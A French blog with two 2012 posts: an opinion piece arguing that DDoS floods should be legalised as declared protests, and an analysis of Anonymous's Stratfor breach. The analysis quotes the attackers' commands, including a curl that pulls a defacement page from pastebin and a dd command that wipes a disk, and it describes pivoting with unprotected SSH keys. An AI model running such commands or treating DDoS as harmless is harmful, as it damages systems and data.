mardi 31 janvier 2012

Légalisons les cybermanifestations: autorisons le DDoS.


La presse généraliste s'empare de plus en plus du phénomène Anonymous depuis la fermeture de Megaupload.
Un parallèle est souvent fait entre les revendications d'Anonymous et des DDOS lancés sur certains sites vitrines d'organisations. Ces DDOS sont actuellement illégaux, et les auteurs risquent différentes condamnations. Je propose une légalisation de ces DDOS en les associant dans le même cadre légal qu'une manifestation physique. Une manifestation, c'est une réunion de personnes qui souhaitent faire passer un message et ces manifestations, sous conditions, sont autorisées [généralement, tant que cela ne trouble pas l'ordre public].

Explication en deux temps; tout d'abord une clarification du phénomène DDOS et une remise à plat de certaines idées reçues, ensuite un parallèle technique, financier et médiatique de ces DDOS pour aborder la question de la responsabilité.

1/ Non, le DDOS n'est pas destructif!
Un DOS, c'est rendre inaccessible un service de traitement automatisées de données (STAD). Un DDOS, c'est un DOS distribué par plusieurs auteurs, (j'y reviendrai). Je pense qu'il faut arrêter les amalgames. Aussi bien sur crimenumérique que sur le CERTA on lit que certains DOS passent par la destruction de données, ou la mise hors service de certains systèmes de traitements.
Les DDOS que l'on a vu ces derniers temps n'ont jamais été destructif, et n'ont jamais duré bien longtemps. Il s'agit du flood d'un site web. Cette distinction est à mon avis essentielle. Condamner un participant à un DDOS avec l'argument consistant à dire que les DOS sont quelquefois destructifs me parait douteux.

2/ Et si ces DDOS n'étaient que des cybermanifestations?
Ces floods, ou DDOS, ont un impact technique, financier et médiatique.

A/ Technique
Nous voyons donc des DDOS qui consistent uniquement en une innondation de requêtes un site vitrine d'une organisation. Pas de divulgation de documents, pas de destruction. Les conséquences techniques sont donc bénignes. Cela s'apparente donc à une manifestation pacifique de piétons devant le siège d'une organisation. Un encombrement passager, mais dès la fin de la manifestation, un retour en fonctionnement optimal [1].
Un DDOS par flood est donc assimilable à un slashdot effect. Un DDOS non destructif par flood ne devrait poser aucun problème technique (j'insiste) au gestionnaire du site vitrine autre que l'inaccessibilité de celui-ci.

B/ Financier
Le volet financier d'un DDOS est plus difficile à appréhender. Certains sites vitrines n'ont aucune vocation financière. hadopi.fr est un site d'information généraliste, sans publicité. Une extinction temporaire de celui-ci ne devrait donc avoir aucune conséquence financière (je ne parle pas du déficit d'image, traité au dessous).
Il est sans doute possible de calculer un déficit pour lexpress. Ils doivent conserver des statistiques de clics sur les publicités (en imaginant qu'il s'agit de leur seule source de revenus), et une mise hors service de quelques heures doit être chiffrable, si tant est que cette entrée d'argent soit significative sur une période aussi courte.
On le voit, un DDOS sur des sites vitrines et non marchands ont un impact si ce n'est faible, au moins chiffrable. [2]
Lors d'une manifestation dans le monde réel, des magasins peuvent choisir de fermer, ou vont voir leur chiffre d'affaire très fortement réduit. Il existe des mécanismes d'indemnisations [si un juriste me lit et qu'il connait l'article de loi et un exemple ou deux, ça m'intéresse].


C/ Médiatiquement
Médiatiquement, une attaque comme un DDOS est censé attirer l'attention.
Actuellement, il est difficile de soutenir qu'un DDOS est lancé pour mettre au silence un site ou une organisation. Un DDOS sert surtout à montrer du doigt une organisation et avoir ainsi une tribune de revendications.
Paradoxalement, on pourrait même dire qu'un DDOS fait de la publicité pour le site visé. Si je prends lexpress, l'attaque a fait parler d'eux, et les gens sont donc mathématiquement allé les voir. 

On le voit, un DDOS par innondation de requêtes sur un site vitrine est très proche d'une manifestation physique. Il ne manque toutefois plus que le volet de la responsabilité.

3/ Et la responsabilité dans tout ça?
Une manifestation, c'est une déclaration à la préfecture, c'est un responsable nommé, c'est un certain cadre autour de celle-ci. Un DDOS, c'est effectué sur un coin d'IRC et repris par tout un tas d'anonymes, diluant ainsi la responsabilité (au contraire d'un DOS qui peut être le fait d'une personne unique). Et cette question de responsabilité pose actuellement un problème car elle n'est pas réglé. On oscille entre des faux conseils d'amis: "un DDOS c'est pas grave, joins toi à nous" et des descentes de la DCRI au petit matin.

Mon idée est donc simple: Légalisons le DDOS par une déclaration à la préfecture de manière identique à ce qui se fait pour une manifestation IRL.
Un responsable identifié indiquerait donc, non pas un parcours, mais une date de début et de fin ainsi qu'un trafic estimé, cela donnerait:
"je soussigné, XXX, va organiser un DDOS sur le site vitrine YYY; nous manifesterons de 14h à 18h à l'aide d'un débit estimé à ZZZ requêtes/ secondes[3]. Copie de cette information est fournie au gestionnaire du site visé.

Ce qui donnerait donner des déclarations intéressantes le lendemain:
-80000 requêtes/s et 200 IP différentes selon la police, 120000 et 400 IP selon les manifestants, le trafic n'a été que ralenti hier après midi sur le site YYY. Les manifestants revendiquaient pour (...)"

---
[1] Si un système informatique pâtit d'un DDOS par flood, c'est qu'il est en carton et le coupable serait donc plus celui qui a monté ce système en carton que ceux qui accèdent à ce site.
[2] Les sites "pure player" comme Paypal ne peuvent pas se permettre de subir une coupure de service. Leur solution sera donc technique, un DDOS c'est basiquement celui qui a la plus grosse. A paypal de faire ce qu'il faut pour conserver un accès au réseau. Mais c'est une histoire de coût qui doit être anticipé. Lorsque la survie d'un site dépend du net, alors des moyens doivent être mis en oeuvre pour diminuer l'impact des DDOS [qui ne sont pas forcément malveillant, cf un slashdot effect ou des cas d'écoles de la fiche du CERTA]. Un manifestant avisé peut également choisir de ne pas attaquer ce genre de site.
[3] ou tout autre procédé, hein, je ne suis pas sectaire là-dessus, voir même un ajout de l'evil bit pour pouvoir calculer facilement le volume d'impact :-)

mardi 10 janvier 2012

Anonymous Vs Stratfor: KO en un round.


En fin d'année, Anonymous a releasé un récapitulatif de ses exploits dans un log txt AnonymousZine.txt (une rapide recherche google vous le donnera): Hack de stratfor.com, cslea.com, nychiefs.og et specialforces.com.
Le document, bien que txt, contient des ASCII-ART:
(on arrive à lire Antisec) et le désormais classique masque de Guy Fawkes:
Cette table des matières donne le lien vers la plateforme Antisec de TPB et leur ambassade qui est un site .onion (installez tor).

Je livre ici une petite analyse du hack de stratfor en me basant sur les documents fournis, sous réserve qu'ils soient rééls et authentiques. Je ne reviendrai pas sur l'aspect politique du mouvement. Anonymous est une menace largement plus politique que technique, mais il est rare d'obtenir des logs comme ceux-ci qui permettent de voir une attaque 'in situ'. Je laisse le soin à d'autres personnes de discuter de la portée politique de leurs actes, seule une analyse technique sera présentée.

Stratfor.com est une société d'intelligence économique (espionnage industriel en bon français). On peut imaginer que leur site web est donc très bien protégé et que la sécurité générale est d'un très bon niveau. La divulgation faite par Anonymous montre que non. Je résume tout d'abord certains mails, puis l'état de leurs serveurs.

1/ quelques emails:
Stratfor a malgré tout bien compris qu'ils étaient "under attack". Mais le mail d'un sysadmin demandant 2 jours pour vérifier le système a été refusé. Ils s'étaient rendus compte qu'un de leur serveurs web avaient un load à 100% et contenait des scripts inconnus dans /root. Effectivement, ça mérite un "pull the plug".
[ Pour élargir le débat, qui a le pouvoir "pull the plug" de manière générale? Est-ce une prérogative à ajouter dans les droits d'un admin sys? ]

Ce n'est suite à l'attaque que Statfor s'est rendu compte que leurs sauvegardes emails se faisaient sur la même machine physique que le serveur de mail (!).
Ce n'est qu'une fois attaqués qu'ils se sont posés la question de la méthode de chiffrement des mots de passe. Ils ont beau eu indiquer sur facebook que les mots de passe étaient chiffrée en one-way MD5, la réalité montre qu'il ne s'agissait que du hash, donc des mots de passe ont été révélés. La liste complète des emails doit donner plus d'informations, mais elle n'est pas encore divulguée.

2/ et leurs serveurs
Concernant les serveurs, par contre, c'est plutôt une catastrophe. Anonymous fournit un log ssh relativement complet sur l'état et le contenu des serveurs (généralement un cat des fichiers shadow, .bash_history .ssh/* et des fichiers de confs). Il manque toutefois l'essentiel: l'attaque en elle-même ce qui est aisément compréhensible.
Le premier log laisse penser qu'Anonymous est entré avec un uid apache, et a monté root ensuite. [ Faille SQL suivie d'un shell suivi d'une escalade de privilèges? C'est non précisé. ]

Le premier serveur attaqué, le frontal web, apparemment, est une gentoo à noyau 2.6.24 (plusieurs failles de sécurité existent sur ce noyau) démarré depuis 2008 (!). Un utilisateur est logué sur la console tty1 depuis 27 jours (accès physique au serveur?). Le répertoire de /root est une catastrophe, il contient des sources, des fichiers Mac OS (ils ont branché une clé USB ou quoi?), des dossiers en vrac (genre un dossier bin/ un b/, un yourmom/ !). Le .bash_history de root montre un admin qui fouille ses logs, soit car il track anonymous, soit par curiosité normale. Ses clés ssh ne sont pas protégées... [ Je vais être mauvaise langue, mais un serveur comme celui-ci méritait bien un rm -rf / uniquement pour le ranger un peu.. ]

Les .bash_history des autres utilisateurs montrent que ce serveur sert également à faire du dev, ce qui est à l'encontre de toutes les bonnes pratiques. Les autres clés ssh trouvées n'ont pas non plus de mot de passe. Les fichiers de config .php sont également dumpés, donnant accès à la base de données. Ceci dit, quand un attaquant à les droits root, c'est généralement game over.

Ce serveur permet à Anonymous de se servir de l'utilisateur 'autobot', dont les clés permettent de se loguer sur l'ensemble du réseau (Mega FAIL!!). Anonymous va donc partir à la recherche du serveur de mail. Il s'agit d'une machine 64bits faisant tourner un zimbra+postfix. Le noyau est un 2.6.18-238.9.1.el5 (un nom de noyau comme ça fait penser à du redhat ou dérivé redhat), ce qui semble ancien. Anonymous passe root dessus sans plus de précisions (clé ssh? faille noyau?). En explorant la machine, il découvre un dossier /backups qui contient, vous l'aurez compris, les sauvegardes des spools de mails des utilisateurs. Headshot, et les spools qui se font doxer (ils ne sont pas encore diffusés, ceci dit).

Anonymous continue de rebondir sur les serveurs internes grâce aux clés d'autobot et diffuse des .bash_history, des tables mySQL etc etc.. Une petite finesse mérite d'être relevée. A chaque venue sur un serveur, anonymous lance la commande w pour connaître les personnes loguées. Sur l'une d'elles, un utilisateur travaille activement (session vim). Il se déconnecte et reconnecte en ssh -T (-T: non allocation de terminal), ce qui permet de ne plus être listé par la commande 'w'. Il appelle cette technique NINJA MODE :)

Enfin, une page index.php est rajoutée sur la home page du site web:
www3 # rm index.php
www3 # curl http://pastebin.com/download.php?i=ANTISEC > index.php
Et le fatal
www3 # dd if=/dev/zero of=/dev/sda3 &      // SETTIN EVERYBODY BACK TO ZERO
aussitôt que google a mis la page en cache.

3/ And ze winner iz?
Que penser de cette attaque? Un serveur absolument pas à jour, des clés non protégées, un accès ssh possible de et vers les autres serveurs de la DMZ, une clé qui donne accès à tout. J'ai du mal à comprendre comment cette entreprise aurait pu passer le moindre contrôle ou le moindre audit sans se faire atomiser.
Et surtout, lorsque le hack est avérée, que le pirate est là, que l'admin le détecte et demande un peu de temps pour nettoyer tout ça, la réponse, la plus mauvaise qui soit: on ne coupe pas le business pendant 2 jours car le pirate n'arrivera surement pas à ses fins, cf
 "You do realize how preposterous it is to suggest that stratfor simply shutdown completely for 2 days, right? The plan that you've attached paints a gloom and doom picture claiming no chance that such a move will succeed. Does that really seem a rationale conclusion?"

Ainsi, comme le dit Anonymous, stratfor s'est fait pwner vraiment violemment, ceci aidé d'une part par la faiblesse de leur infrastructure et d'autre part par l'absence de réactions. 

Le reste d'AnonymousZine.txt contient les logs des autres attaques et des considérations politiques sur leur action. Intéressant à lire.